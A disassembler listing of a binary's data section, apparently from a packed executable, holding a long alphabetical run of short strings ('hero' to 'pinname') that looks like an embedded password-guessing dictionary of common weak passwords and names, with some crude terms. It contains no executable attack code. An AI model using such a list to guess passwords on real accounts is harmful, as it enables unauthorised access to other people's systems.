aHero db 'hero',0 ; DATA XREF: .nsp0:0043ADDCo
align 4
aHeroin db 'heroin',0 ; DATA XREF: .nsp0:0043ADE0o
align 4
aHewlett db 'hewlett',0 ; DATA XREF: .nsp0:0043ADE4o
aHexadeci db 'hexadeci',0 ; DATA XREF: .nsp0:0043ADE8o
align 10h
aHiawatha db 'hiawatha',0 ; DATA XREF: .nsp0:0043ADECo
align 4
aHibernia db 'hibernia',0 ; DATA XREF: .nsp0:0043ADF0o
align 4
aHidden db 'hidden',0 ; DATA XREF: .nsp0:0043ADF4o
align 10h
aHigh db 'high',0 ; DATA XREF: .nsp0:0043ADF8o
align 4
aHighland db 'highland',0 ; DATA XREF: .nsp0:0043ADFCo
align 4
aHitler db 'hitler',0 ; DATA XREF: .nsp0:0043AE00o
align 4
aHits db 'hits',0 ; DATA XREF: .nsp0:0043AE04o
align 4
aHole db 'hole',0 ; DATA XREF: .nsp0:0043AE08o
align 4
aHolly db 'holly',0 ; DATA XREF: .nsp0:0043AE0Co
align 4
aHollywoo db 'hollywoo',0 ; DATA XREF: .nsp0:0043AE10o
align 10h
aHomepage db 'homepage',0 ; DATA XREF: .nsp0:0043AE14o
align 4
aHomer db 'homer',0 ; DATA XREF: .nsp0:0043AE18o
align 4
aHomework db 'homework',0 ; DATA XREF: .nsp0:0043AE1Co
align 10h
aHoney db 'honey',0 ; DATA XREF: .nsp0:0043AE20o
align 4
aHooker db 'hooker',0 ; DATA XREF: .nsp0:0043AE24o
align 10h
aHooters db 'hooters',0 ; DATA XREF: .nsp0:0043AE28o
aHorny db 'horny',0 ; DATA XREF: .nsp0:0043AE2Co
align 10h
aHorrible db 'horrible',0 ; DATA XREF: .nsp0:0043AE30o
align 4
aHorror db 'horror',0 ; DATA XREF: .nsp0:0043AE34o
align 4
aHorse db 'horse',0 ; DATA XREF: .nsp0:0043AE38o
align 4
aHorus db 'horus',0 ; DATA XREF: .nsp0:0043AE3Co
align 4
aHost db 'host',0 ; DATA XREF: .nsp0:0043AE40o
align 4
aHotdog db 'hotdog',0 ; DATA XREF: .nsp0:0043AE44o
align 4
aHotel db 'hotel',0 ; DATA XREF: .nsp0:0043AE48o
align 4
aHttp_0 db 'http',0 ; DATA XREF: .nsp0:0043AE4Co
align 4
aHunt db 'hunt',0 ; DATA XREF: .nsp0:0043AE50o
align 4
aHunter db 'hunter',0 ; DATA XREF: .nsp0:0043AE54o
align 4
aHutchins db 'hutchins',0 ; DATA XREF: .nsp0:0043AE58o
align 10h
aHydrogen db 'hydrogen',0 ; DATA XREF: .nsp0:0043AE5Co
align 4
aHyper db 'hyper',0 ; DATA XREF: .nsp0:0043AE60o
align 4
aHypertxt db 'hypertxt',0 ; DATA XREF: .nsp0:0043AE64o
align 10h
aIcecream db 'icecream',0 ; DATA XREF: .nsp0:0043AE68o
align 4
aIllumina db 'illumina',0 ; DATA XREF: .nsp0:0043AE6Co
align 4
aImage db 'image',0 ; DATA XREF: .nsp0:0043AE70o
align 10h
aImbrogli db 'imbrogli',0 ; DATA XREF: .nsp0:0043AE74o
align 4
aImmortal db 'immortal',0 ; DATA XREF: .nsp0:0043AE78o
align 4
aImperial db 'imperial',0 ; DATA XREF: .nsp0:0043AE7Co
align 4
aInclude db 'include',0 ; DATA XREF: .nsp0:0043AE80o
aIndia db 'india',0 ; DATA XREF: .nsp0:0043AE84o
align 4
aIndian db 'indian',0 ; DATA XREF: .nsp0:0043AE88o
align 4
aIndiana db 'indiana',0 ; DATA XREF: .nsp0:0043AE8Co
aIndians db 'indians',0 ; DATA XREF: .nsp0:0043AE90o
aIngres db 'ingres',0 ; DATA XREF: .nsp0:0043AE94o
align 4
aIngress db 'ingress',0 ; DATA XREF: .nsp0:0043AE98o
aIngrid db 'ingrid',0 ; DATA XREF: .nsp0:0043AE9Co
align 4
aInna db 'inna',0 ; DATA XREF: .nsp0:0043AEA0o
align 4
aInnocuou db 'innocuou',0 ; DATA XREF: .nsp0:0043AEA4o
align 4
aInput db 'input',0 ; DATA XREF: .nsp0:0043AEA8o
align 10h
aInside db 'inside',0 ; DATA XREF: .nsp0:0043AEACo
align 4
aInteger db 'integer',0 ; DATA XREF: .nsp0:0043AEB0o
aInvent db 'invent',0 ; DATA XREF: .nsp0:0043AEB4o
align 4
aIrene db 'irene',0 ; DATA XREF: .nsp0:0043AEB8o
align 10h
aIrishman db 'irishman',0 ; DATA XREF: .nsp0:0043AEBCo
align 4
aIsis db 'isis',0 ; DATA XREF: .nsp0:0043AEC0o
align 4
aJackie db 'jackie',0 ; DATA XREF: .nsp0:0043AEC4o
align 4
aJail db 'jail',0 ; DATA XREF: .nsp0:0043AEC8o
align 4
aJane db 'jane',0 ; DATA XREF: .nsp0:0043AECCo
align 4
aJanet db 'janet',0 ; DATA XREF: .nsp0:0043AED0o
align 4
aJanice db 'janice',0 ; DATA XREF: .nsp0:0043AED4o
align 4
aJanie db 'janie',0 ; DATA XREF: .nsp0:0043AED8o
align 4
aJapan db 'japan',0 ; DATA XREF: .nsp0:0043AEDCo
align 4
aJasmin db 'jasmin',0 ; DATA XREF: .nsp0:0043AEE0o
align 4
aJava db 'java',0 ; DATA XREF: .nsp0:0043AEE4o
align 4
aJazz db 'jazz',0 ; DATA XREF: .nsp0:0043AEE8o
align 4
aJean db 'jean',0 ; DATA XREF: .nsp0:0043AEECo
align 4
aJeanne db 'jeanne',0 ; DATA XREF: .nsp0:0043AEF0o
align 4
aJeff db 'jeff',0 ; DATA XREF: .nsp0:0043AEF4o
align 4
aJenni db 'jenni',0 ; DATA XREF: .nsp0:0043AEF8o
align 4
aJennifer db 'jennifer',0 ; DATA XREF: .nsp0:0043AEFCo
align 10h
aJenny db 'jenny',0 ; DATA XREF: .nsp0:0043AF00o
align 4
aJerry db 'jerry',0 ; DATA XREF: .nsp0:0043AF04o
align 10h
aJerusale db 'jerusale',0 ; DATA XREF: .nsp0:0043AF08o
align 4
aJessica db 'jessica',0 ; DATA XREF: .nsp0:0043AF0Co
aJester db 'jester',0 ; DATA XREF: .nsp0:0043AF10o
align 4
aJewelry db 'jewelry',0 ; DATA XREF: .nsp0:0043AF14o
aJill db 'jill',0 ; DATA XREF: .nsp0:0043AF18o
align 4
aJixian db 'jixian',0 ; DATA XREF: .nsp0:0043AF1Co
align 4
aJoanne db 'joanne',0 ; DATA XREF: .nsp0:0043AF20o
align 4
aJody db 'jody',0 ; DATA XREF: .nsp0:0043AF24o
align 4
aJohn db 'john',0 ; DATA XREF: .nsp0:0043AF28o
align 4
aJohndoe db 'johndoe',0 ; DATA XREF: .nsp0:0043AF2Co
aJohnny db 'johnny',0 ; DATA XREF: .nsp0:0043AF30o
align 4
aJoseph db 'joseph',0 ; DATA XREF: .nsp0:0043AF34o
align 4
aJoshua db 'joshua',0 ; DATA XREF: .nsp0:0043AF38o
align 4
aJournal db 'journal',0 ; DATA XREF: .nsp0:0043AF3Co
aJoyce db 'joyce',0 ; DATA XREF: .nsp0:0043AF40o
align 4
aJudith db 'judith',0 ; DATA XREF: .nsp0:0043AF44o
align 4
aJudy db 'judy',0 ; DATA XREF: .nsp0:0043AF48o
align 4
aJuggle db 'juggle',0 ; DATA XREF: .nsp0:0043AF4Co
align 4
aJuicy db 'juicy',0 ; DATA XREF: .nsp0:0043AF50o
align 4
aJulia db 'julia',0 ; DATA XREF: .nsp0:0043AF54o
align 4
aJulie db 'julie',0 ; DATA XREF: .nsp0:0043AF58o
align 4
aJuliet db 'juliet',0 ; DATA XREF: .nsp0:0043AF5Co
align 4
aJune_0 db 'june',0 ; DATA XREF: .nsp0:0043AF60o
align 4
aJupiter db 'jupiter',0 ; DATA XREF: .nsp0:0043AF64o
aKaka db 'kaka',0 ; DATA XREF: .nsp0:0043AF68o
align 4
aKaren db 'karen',0 ; DATA XREF: .nsp0:0043AF6Co
align 4
aKarie db 'karie',0 ; DATA XREF: .nsp0:0043AF70o
align 4
aKarina db 'karina',0 ; DATA XREF: .nsp0:0043AF74o
align 4
aKatana db 'katana',0 ; DATA XREF: .nsp0:0043AF78o
align 4
aKate db 'kate',0 ; DATA XREF: .nsp0:0043AF7Co
align 4
aKathleen db 'kathleen',0 ; DATA XREF: .nsp0:0043AF80o
align 10h
aKathrine db 'kathrine',0 ; DATA XREF: .nsp0:0043AF84o
align 4
aKathy db 'kathy',0 ; DATA XREF: .nsp0:0043AF88o
align 4
aKatina db 'katina',0 ; DATA XREF: .nsp0:0043AF8Co
align 4
aKatrina db 'katrina',0 ; DATA XREF: .nsp0:0043AF90o
aKelly db 'kelly',0 ; DATA XREF: .nsp0:0043AF94o
align 4
aKeri db 'keri',0 ; DATA XREF: .nsp0:0043AF98o
align 4
aKermit db 'kermit',0 ; DATA XREF: .nsp0:0043AF9Co
align 4
aKernel db 'kernel',0 ; DATA XREF: .nsp0:0043AFA0o
align 4
aKerri db 'kerri',0 ; DATA XREF: .nsp0:0043AFA4o
align 4
aKerrie db 'kerrie',0 ; DATA XREF: .nsp0:0043AFA8o
align 4
aKerry db 'kerry',0 ; DATA XREF: .nsp0:0043AFACo
align 4
aKevin db 'kevin',0 ; DATA XREF: .nsp0:0043AFB0o
align 4
aKewl db 'kewl',0 ; DATA XREF: .nsp0:0043AFB4o
align 4
aKeybord db 'keybord',0 ; DATA XREF: .nsp0:0043AFB8o
aKeyin db 'keyin',0 ; DATA XREF: .nsp0:0043AFBCo
align 4
aKeyword db 'keyword',0 ; DATA XREF: .nsp0:0043AFC0o
aKids db 'kids',0 ; DATA XREF: .nsp0:0043AFC4o
align 4
aKill_0 db 'kill',0 ; DATA XREF: .nsp0:0043AFC8o
align 4
aKillthem db 'killthem',0 ; DATA XREF: .nsp0:0043AFCCo
align 10h
aKilo db 'kilo',0 ; DATA XREF: .nsp0:0043AFD0o
align 4
aKimberly db 'kimberly',0 ; DATA XREF: .nsp0:0043AFD4o
align 4
aKing db 'king',0 ; DATA XREF: .nsp0:0043AFD8o
align 4
aKirk db 'kirk',0 ; DATA XREF: .nsp0:0043AFDCo
align 4
aKirkland db 'kirkland',0 ; DATA XREF: .nsp0:0043AFE0o
align 10h
aKiss db 'kiss',0 ; DATA XREF: .nsp0:0043AFE4o
align 4
aKissmyas db 'kissmyas',0 ; DATA XREF: .nsp0:0043AFE8o
align 4
aKitten db 'kitten',0 ; DATA XREF: .nsp0:0043AFECo
align 4
aKlingon db 'klingon',0 ; DATA XREF: .nsp0:0043AFF0o
aKnife db 'knife',0 ; DATA XREF: .nsp0:0043AFF4o
align 4
aKnight db 'knight',0 ; DATA XREF: .nsp0:0043AFF8o
align 4
aKnightma db 'knightma',0 ; DATA XREF: .nsp0:0043AFFCo
align 10h
aKnown db 'known',0 ; DATA XREF: .nsp0:0043B000o
align 4
aKrista db 'krista',0 ; DATA XREF: .nsp0:0043B004o
align 10h
aKristen db 'kristen',0 ; DATA XREF: .nsp0:0043B008o
aKristi db 'kristi',0 ; DATA XREF: .nsp0:0043B00Co
align 10h
aKristie db 'kristie',0 ; DATA XREF: .nsp0:0043B010o
aKristin db 'kristin',0 ; DATA XREF: .nsp0:0043B014o
aKristine db 'kristine',0 ; DATA XREF: .nsp0:0043B018o
align 4
aKristy db 'kristy',0 ; DATA XREF: .nsp0:0043B01Co
align 4
aLadies db 'ladies',0 ; DATA XREF: .nsp0:0043B020o
align 4
aLadle db 'ladle',0 ; DATA XREF: .nsp0:0043B024o
align 4
aLakers db 'lakers',0 ; DATA XREF: .nsp0:0043B028o
align 4
aLambda db 'lambda',0 ; DATA XREF: .nsp0:0043B02Co
align 4
aLaminati db 'laminati',0 ; DATA XREF: .nsp0:0043B030o
align 10h
aLana db 'lana',0 ; DATA XREF: .nsp0:0043B034o
align 4
aLaptop db 'laptop',0 ; DATA XREF: .nsp0:0043B038o
align 10h
aLara db 'lara',0 ; DATA XREF: .nsp0:0043B03Co
align 4
aLarkin db 'larkin',0 ; DATA XREF: .nsp0:0043B040o
align 10h
aLarry db 'larry',0 ; DATA XREF: .nsp0:0043B044o
align 4
aLaser db 'laser',0 ; DATA XREF: .nsp0:0043B048o
align 10h
aLaura db 'laura',0 ; DATA XREF: .nsp0:0043B04Co
align 4
aLava db 'lava',0 ; DATA XREF: .nsp0:0043B050o
align 10h
aLazarus db 'lazarus',0 ; DATA XREF: .nsp0:0043B054o
aLazer db 'lazer',0 ; DATA XREF: .nsp0:0043B058o
align 10h
aLeah db 'leah',0 ; DATA XREF: .nsp0:0043B05Co
align 4
aLebesgue db 'lebesgue',0 ; DATA XREF: .nsp0:0043B060o
align 4
aLeft db 'left',0 ; DATA XREF: .nsp0:0043B064o
align 4
aLeftwing db 'leftwing',0 ; DATA XREF: .nsp0:0043B068o
align 4
aLegal db 'legal',0 ; DATA XREF: .nsp0:0043B06Co
align 10h
aLeland db 'leland',0 ; DATA XREF: .nsp0:0043B070o
align 4
aLeroy db 'leroy',0 ; DATA XREF: .nsp0:0043B074o
align 10h
aLesbian db 'lesbian',0 ; DATA XREF: .nsp0:0043B078o
aLeslie db 'leslie',0 ; DATA XREF: .nsp0:0043B07Co
align 10h
aLetmein db 'letmein',0 ; DATA XREF: .nsp0:0043B080o
aLewis db 'lewis',0 ; DATA XREF: .nsp0:0043B084o
align 10h
aLexluthe db 'lexluthe',0 ; DATA XREF: .nsp0:0043B088o
align 4
aLiberal db 'liberal',0 ; DATA XREF: .nsp0:0043B08Co
aLibrary db 'library',0 ; DATA XREF: .nsp0:0043B090o
aLick db 'lick',0 ; DATA XREF: .nsp0:0043B094o
align 4
aLicker db 'licker',0 ; DATA XREF: .nsp0:0043B098o
align 4
aLife db 'life',0 ; DATA XREF: .nsp0:0043B09Co
align 4
aLight db 'light',0 ; DATA XREF: .nsp0:0043B0A0o
align 4
aLightsab db 'lightsab',0 ; DATA XREF: .nsp0:0043B0A4o
align 4
aLima db 'lima',0 ; DATA XREF: .nsp0:0043B0A8o
align 10h
aLimbaugh db 'limbaugh',0 ; DATA XREF: .nsp0:0043B0ACo
align 4
aLimited db 'limited',0 ; DATA XREF: .nsp0:0043B0B0o
aLinda db 'linda',0 ; DATA XREF: .nsp0:0043B0B4o
align 4
aLink db 'link',0 ; DATA XREF: .nsp0:0043B0B8o
align 4
aLion db 'lion',0 ; DATA XREF: .nsp0:0043B0BCo
align 4
aLips db 'lips',0 ; DATA XREF: .nsp0:0043B0C0o
align 4
aLisa db 'lisa',0 ; DATA XREF: .nsp0:0043B0C4o
align 4
aLisp db 'lisp',0 ; DATA XREF: .nsp0:0043B0C8o
align 4
aLiteratu db 'literatu',0 ; DATA XREF: .nsp0:0043B0CCo
align 10h
aLive db 'live',0 ; DATA XREF: .nsp0:0043B0D0o
align 4
aLoad_0 db 'load',0 ; DATA XREF: .nsp0:0043B0D4o
align 10h
aLock db 'lock',0 ; DATA XREF: .nsp0:0043B0D8o
align 4
aLockout db 'lockout',0 ; DATA XREF: .nsp0:0043B0DCo
aLockword db 'lockword',0 ; DATA XREF: .nsp0:0043B0E0o
align 4
aLogic db 'logic',0 ; DATA XREF: .nsp0:0043B0E4o
align 4
aLoginwor db 'loginwor',0 ; DATA XREF: .nsp0:0043B0E8o
align 10h
aLogout_0 db 'logout',0 ; DATA XREF: .nsp0:0043B0ECo
align 4
aLois db 'lois',0 ; DATA XREF: .nsp0:0043B0F0o
align 10h
aLolopc db 'lolopc',0 ; DATA XREF: .nsp0:0043B0F4o
align 4
aLoose db 'loose',0 ; DATA XREF: .nsp0:0043B0F8o
align 10h
aLore db 'lore',0 ; DATA XREF: .nsp0:0043B0FCo
align 4
aLori db 'lori',0 ; DATA XREF: .nsp0:0043B100o
align 10h
aLorin db 'lorin',0 ; DATA XREF: .nsp0:0043B104o
align 4
aLorraine db 'lorraine',0 ; DATA XREF: .nsp0:0043B108o
align 4
aLoser db 'loser',0 ; DATA XREF: .nsp0:0043B10Co
align 4
aLouis db 'louis',0 ; DATA XREF: .nsp0:0043B110o
align 4
aLovebug db 'lovebug',0 ; DATA XREF: .nsp0:0043B114o
aLover db 'lover',0 ; DATA XREF: .nsp0:0043B118o
align 4
aLuck db 'luck',0 ; DATA XREF: .nsp0:0043B11Co
align 4
aLucus db 'lucus',0 ; DATA XREF: .nsp0:0043B120o
align 4
aLucy db 'lucy',0 ; DATA XREF: .nsp0:0043B124o
align 4
aLude db 'lude',0 ; DATA XREF: .nsp0:0043B128o
align 4
aLuke db 'luke',0 ; DATA XREF: .nsp0:0043B12Co
align 4
aLust db 'lust',0 ; DATA XREF: .nsp0:0043B130o
align 4
aLynn db 'lynn',0 ; DATA XREF: .nsp0:0043B134o
align 4
aLynne db 'lynne',0 ; DATA XREF: .nsp0:0043B138o
align 4
aMachine db 'machine',0 ; DATA XREF: .nsp0:0043B13Co
aMacintos db 'macintos',0 ; DATA XREF: .nsp0:0043B140o
align 4
aMack db 'mack',0 ; DATA XREF: .nsp0:0043B144o
align 10h
aMacro db 'macro',0 ; DATA XREF: .nsp0:0043B148o
align 4
aMaggot db 'maggot',0 ; DATA XREF: .nsp0:0043B14Co
align 10h
aMagic db 'magic',0 ; DATA XREF: .nsp0:0043B150o
align 4
aMagnet db 'magnet',0 ; DATA XREF: .nsp0:0043B154o
align 10h
aMail db 'mail',0 ; DATA XREF: .nsp0:0043B158o
align 4
aMaint db 'maint',0 ; DATA XREF: .nsp0:0043B15Co
align 10h
aMalcolm db 'malcolm',0 ; DATA XREF: .nsp0:0043B160o
aMalcom db 'malcom',0 ; DATA XREF: .nsp0:0043B164o
align 10h
aMana db 'mana',0 ; DATA XREF: .nsp0:0043B168o
align 4
aManager db 'manager',0 ; DATA XREF: .nsp0:0043B16Co
aMara db 'mara',0 ; DATA XREF: .nsp0:0043B170o
align 4
aMarci db 'marci',0 ; DATA XREF: .nsp0:0043B174o
align 10h
aMarcy db 'marcy',0 ; DATA XREF: .nsp0:0043B178o
align 4
aMaria db 'maria',0 ; DATA XREF: .nsp0:0043B17Co
align 10h
aMariens db 'mariens',0 ; DATA XREF: .nsp0:0043B180o
aMarietta db 'marietta',0 ; DATA XREF: .nsp0:0043B184o
align 4
aMarijuan db 'marijuan',0 ; DATA XREF: .nsp0:0043B188o
align 10h
aMarines db 'marines',0 ; DATA XREF: .nsp0:0043B18Co
aMark db 'mark',0 ; DATA XREF: .nsp0:0043B190o
align 10h
aMarkus db 'markus',0 ; DATA XREF: .nsp0:0043B194o
align 4
aMarni db 'marni',0 ; DATA XREF: .nsp0:0043B198o
align 10h
aMarriage db 'marriage',0 ; DATA XREF: .nsp0:0043B19Co
align 4
aMars db 'mars',0 ; DATA XREF: .nsp0:0043B1A0o
align 4
aMarty db 'marty',0 ; DATA XREF: .nsp0:0043B1A4o
align 4
aMarvin db 'marvin',0 ; DATA XREF: .nsp0:0043B1A8o
align 4
aMary db 'mary',0 ; DATA XREF: .nsp0:0043B1ACo
align 4
aMason db 'mason',0 ; DATA XREF: .nsp0:0043B1B0o
align 4
aMaster db 'master',0 ; DATA XREF: .nsp0:0043B1B4o
align 4
aMath db 'math',0 ; DATA XREF: .nsp0:0043B1B8o
align 4
aMaurice db 'maurice',0 ; DATA XREF: .nsp0:0043B1BCo
aMeagan db 'meagan',0 ; DATA XREF: .nsp0:0043B1C0o
align 4
aMegabyte db 'megabyte',0 ; DATA XREF: .nsp0:0043B1C4o
align 10h
aMegadeth db 'megadeth',0 ; DATA XREF: .nsp0:0043B1C8o
align 4
aMegan db 'megan',0 ; DATA XREF: .nsp0:0043B1CCo
align 4
aMelissa db 'melissa',0 ; DATA XREF: .nsp0:0043B1D0o
aMellon db 'mellon',0 ; DATA XREF: .nsp0:0043B1D4o
align 4
aMelrose db 'melrose',0 ; DATA XREF: .nsp0:0043B1D8o
aMember db 'member',0 ; DATA XREF: .nsp0:0043B1DCo
align 4
aMemory db 'memory',0 ; DATA XREF: .nsp0:0043B1E0o
align 4
aMenace db 'menace',0 ; DATA XREF: .nsp0:0043B1E4o
align 4
aMenu db 'menu',0 ; DATA XREF: .nsp0:0043B1E8o
align 4
aMercury db 'mercury',0 ; DATA XREF: .nsp0:0043B1ECo
aMerlin db 'merlin',0 ; DATA XREF: .nsp0:0043B1F0o
align 4
aMetal db 'metal',0 ; DATA XREF: .nsp0:0043B1F4o
align 4
aMetalhea db 'metalhea',0 ; DATA XREF: .nsp0:0043B1F8o
align 10h
aMetalica db 'metalica',0 ; DATA XREF: .nsp0:0043B1FCo
align 4
aMets db 'mets',0 ; DATA XREF: .nsp0:0043B200o
align 4
aMice db 'mice',0 ; DATA XREF: .nsp0:0043B204o
align 4
aMichael db 'michael',0 ; DATA XREF: .nsp0:0043B208o
aMichel db 'michel',0 ; DATA XREF: .nsp0:0043B20Co
align 4
aMichelan db 'michelan',0 ; DATA XREF: .nsp0:0043B210o
align 4
aMichele db 'michele',0 ; DATA XREF: .nsp0:0043B214o
aMichelle db 'michelle',0 ; DATA XREF: .nsp0:0043B218o
align 4
aMickey db 'mickey',0 ; DATA XREF: .nsp0:0043B21Co
align 4
aMicro db 'micro',0 ; DATA XREF: .nsp0:0043B220o
align 4
aMicrochi db 'microchi',0 ; DATA XREF: .nsp0:0043B224o
align 4
aMicropro db 'micropro',0 ; DATA XREF: .nsp0:0043B228o
align 4
aMicrosof db 'microsof',0 ; DATA XREF: .nsp0:0043B22Co
align 10h
aMidieval db 'midieval',0 ; DATA XREF: .nsp0:0043B230o
align 4
aMike db 'mike',0 ; DATA XREF: .nsp0:0043B234o
align 4
aMine db 'mine',0 ; DATA XREF: .nsp0:0043B238o
align 4
aMinimum db 'minimum',0 ; DATA XREF: .nsp0:0043B23Co
aMinsky db 'minsky',0 ; DATA XREF: .nsp0:0043B240o
align 4
aMisfit db 'misfit',0 ; DATA XREF: .nsp0:0043B244o
align 4
aMission db 'mission',0 ; DATA XREF: .nsp0:0043B248o
aMkii db 'mkii',0 ; DATA XREF: .nsp0:0043B24Co
align 4
aMode_1 db 'mode',0 ; DATA XREF: .nsp0:0043B250o
align 4
aModem db 'modem',0 ; DATA XREF: .nsp0:0043B254o
align 4
aMogul db 'mogul',0 ; DATA XREF: .nsp0:0043B258o
align 4
aMoguls db 'moguls',0 ; DATA XREF: .nsp0:0043B25Co
align 4
aMonday_0 db 'monday',0 ; DATA XREF: .nsp0:0043B260o
align 4
aMonica db 'monica',0 ; DATA XREF: .nsp0:0043B264o
align 4
aMoom db 'moom',0 ; DATA XREF: .nsp0:0043B268o
align 4
aMoor db 'moor',0 ; DATA XREF: .nsp0:0043B26Co
align 4
aMoose db 'moose',0 ; DATA XREF: .nsp0:0043B270o
align 4
aMore db 'more',0 ; DATA XREF: .nsp0:0043B274o
align 4
aMorley db 'morley',0
align 4
aMorris db 'morris',0
align 4
aMortal db 'mortal',0
align 4
aMortalco db 'mortalco',0
align 4
aMortgage db 'mortgage',0
align 4
aMosaic db 'mosaic',0
align 4
aMountain db 'mountain',0
align 4
aMouse db 'mouse',0
align 10h
aMove db 'move',0
align 4
aMovie db 'movie',0
align 10h
aMovies db 'movies',0
align 4
aMozart db 'mozart',0
align 10h
aMpeg db 'mpeg',0
align 4
aMsdos db 'msdos',0
align 10h
aMuppets db 'muppets',0
aMutant db 'mutant',0
align 10h
aNagel db 'nagel',0 ; DATA XREF: .nsp0:0043B2B8o
align 4
aName db 'name',0
align 10h
aNancy db 'nancy',0 ; DATA XREF: .nsp0:0043B2C0o
align 4
aNapoleon db 'napoleon',0
align 4
aNasa db 'nasa',0
align 4
aNavy db 'navy',0
align 4
aNepenthe db 'nepenthe',0
align 10h
aNeptune db 'neptune',0 ; DATA XREF: .nsp0:0043B2D4o
aNess db 'ness',0 ; DATA XREF: .nsp0:0043B2D8o
align 10h
aNetscape db 'netscape',0 ; DATA XREF: .nsp0:0043B2DCo
align 4
aNetwork_0 db 'network',0 ; DATA XREF: .nsp0:0043B2E0o
aNewborn db 'newborn',0 ; DATA XREF: .nsp0:0043B2E4o
aNews db 'news',0 ; DATA XREF: .nsp0:0043B2E8o
align 4
aNewsgrou db 'newsgrou',0 ; DATA XREF: .nsp0:0043B2ECo
align 10h
aNewton db 'newton',0 ; DATA XREF: .nsp0:0043B2F0o
align 4
aNewyork db 'newyork',0 ; DATA XREF: .nsp0:0043B2F4o
aNext db 'next',0
align 4
aNice db 'nice',0
align 10h
aNicole db 'nicole',0
align 4
aNicotine db 'nicotine',0
align 4
aNight db 'night',0
align 4
aNightmar db 'nightmar',0
align 4
aNintendo db 'nintendo',0
align 4
aNita db 'nita',0
align 4
aNnaacp db 'nnaacp',0
align 4
aNoble db 'noble',0
align 4
aNobody db 'nobody',0
align 4
aNode db 'node',0
align 4
aNoreen db 'noreen',0
align 4
aNotes db 'notes',0
align 4
aNoth db 'noth',0
align 4
aNova db 'nova',0
align 4
aNovel db 'novel',0
align 4
aNovember_0 db 'november',0
align 10h
aNoxious db 'noxious',0
aNuclear db 'nuclear',0
aNude db 'nude',0
align 4
aNuke db 'nuke',0
align 10h
aNukem db 'nukem',0
align 4
aNull_1 db 'null',0
align 10h
aNumber db 'number',0
align 4
aNutritio db 'nutritio',0
align 4
aNuts db 'nuts',0
align 4
aNyquist db 'nyquist',0
aObscurit db 'obscurit',0
align 10h
aOceanogr db 'oceanogr',0
align 4
aOcelot db 'ocelot',0
align 4
aOffice db 'office',0
align 4
aOkay db 'okay',0
align 4
aOldage db 'oldage',0
align 4
aOlivetti db 'olivetti',0
align 4
aOlivia db 'olivia',0
align 10h
aOmega db 'omega',0
align 4
aOpen_3 db 'open',0
align 10h
aOpening db 'opening',0
aOpenlock db 'openlock',0
align 4
aOpensesa db 'opensesa',0
align 10h
aOperator db 'operator',0
align 4
aOrca db 'orca',0
align 4
aOrient db 'orient',0
align 4
aOrwell db 'orwell',0
align 4
aOscar db 'oscar',0
align 4
aOsiris db 'osiris',0
align 4
aOutdoors db 'outdoors',0
align 10h
aOutlaw db 'outlaw',0
align 4
aOutput db 'output',0
align 10h
aOutside db 'outside',0
aOxford db 'oxford',0
align 10h
aPacific db 'pacific',0
aPackard db 'packard',0
aPacker db 'packer',0 ; DATA XREF: .nsp0:0043B3D0o
align 4
aPainless db 'painless',0 ; DATA XREF: .nsp0:0043B3D4o
align 4
aPaint db 'paint',0 ; DATA XREF: .nsp0:0043B3D8o
align 4
aPakistan db 'pakistan',0 ; DATA XREF: .nsp0:0043B3DCo
align 4
aPamela db 'pamela',0 ; DATA XREF: .nsp0:0043B3E0o
align 10h
aPapa db 'papa',0 ; DATA XREF: .nsp0:0043B3E4o
align 4
aPaper db 'paper',0 ; DATA XREF: .nsp0:0043B3E8o
align 10h
aPapers db 'papers',0 ; DATA XREF: .nsp0:0043B3ECo
align 4
aPascal db 'pascal',0 ; DATA XREF: .nsp0:0043B3F0o
align 10h
aPassphra db 'passphra',0 ; DATA XREF: .nsp0:0043B3F4o
align 4
aPaste db 'paste',0 ; DATA XREF: .nsp0:0043B3F8o
align 4
aPatricia db 'patricia',0 ; DATA XREF: .nsp0:0043B3FCo
align 10h
aPatriot db 'patriot',0 ; DATA XREF: .nsp0:0043B400o
aPatty db 'patty',0 ; DATA XREF: .nsp0:0043B404o
align 10h
aPaula db 'paula',0 ; DATA XREF: .nsp0:0043B408o
align 4
aPeanuts db 'peanuts',0 ; DATA XREF: .nsp0:0043B40Co
aPecker db 'pecker',0 ; DATA XREF: .nsp0:0043B410o
align 4
aPencil db 'pencil',0 ; DATA XREF: .nsp0:0043B414o
align 10h
aPenelope db 'penelope',0 ; DATA XREF: .nsp0:0043B418o
align 4
aPenguin db 'penguin',0 ; DATA XREF: .nsp0:0043B41Co
aPenis db 'penis',0 ; DATA XREF: .nsp0:0043B420o
align 4
aPenname db 'penname',0 ; DATA XREF: .nsp0:0043B424o
aPentagon db 'pentagon',0 ; DATA XREF: .nsp0:0043B428o
align 10h
aPentagra db 'pentagra',0 ; DATA XREF: .nsp0:0043B42Co
align 4
aPenthous db 'penthous',0 ; DATA XREF: .nsp0:0043B430o
align 4
aPentium db 'pentium',0 ; DATA XREF: .nsp0:0043B434o
aPeoria db 'peoria',0 ; DATA XREF: .nsp0:0043B438o
align 4
aPepper db 'pepper',0 ; DATA XREF: .nsp0:0043B43Co
align 10h
aPercolat db 'percolat',0 ; DATA XREF: .nsp0:0043B440o
align 4
aPerfect db 'perfect',0 ; DATA XREF: .nsp0:0043B444o
aPermit db 'permit',0 ; DATA XREF: .nsp0:0043B448o
align 4
aPersimmo db 'persimmo',0 ; DATA XREF: .nsp0:0043B44Co
align 4
aPersona db 'persona',0 ; DATA XREF: .nsp0:0043B450o
aPervert db 'pervert',0 ; DATA XREF: .nsp0:0043B454o
aPete db 'pete',0 ; DATA XREF: .nsp0:0043B458o
align 10h
aPeter db 'peter',0 ; DATA XREF: .nsp0:0043B45Co
align 4
aPhil db 'phil',0 ; DATA XREF: .nsp0:0043B460o
align 10h
aPhilip db 'philip',0 ; DATA XREF: .nsp0:0043B464o
align 4
aPhoenix db 'phoenix',0 ; DATA XREF: .nsp0:0043B468o
aPhone db 'phone',0 ; DATA XREF: .nsp0:0043B46Co
align 4
aPhoton db 'photon',0 ; DATA XREF: .nsp0:0043B470o
align 10h
aPhrack db 'phrack',0 ; DATA XREF: .nsp0:0043B474o
align 4
aPhrase db 'phrase',0 ; DATA XREF: .nsp0:0043B478o
align 10h
aPhreak db 'phreak',0 ; DATA XREF: .nsp0:0043B47Co
align 4
aPhuck db 'phuck',0 ; DATA XREF: .nsp0:0043B480o
align 10h
aPick db 'pick',0 ; DATA XREF: .nsp0:0043B484o
align 4
aPierre db 'pierre',0 ; DATA XREF: .nsp0:0043B488o
align 10h
aPimp db 'pimp',0 ; DATA XREF: .nsp0:0043B48Co
align 4
aPinname db 'pinname',0 ; DATA XREF: .nsp0:0043B490o
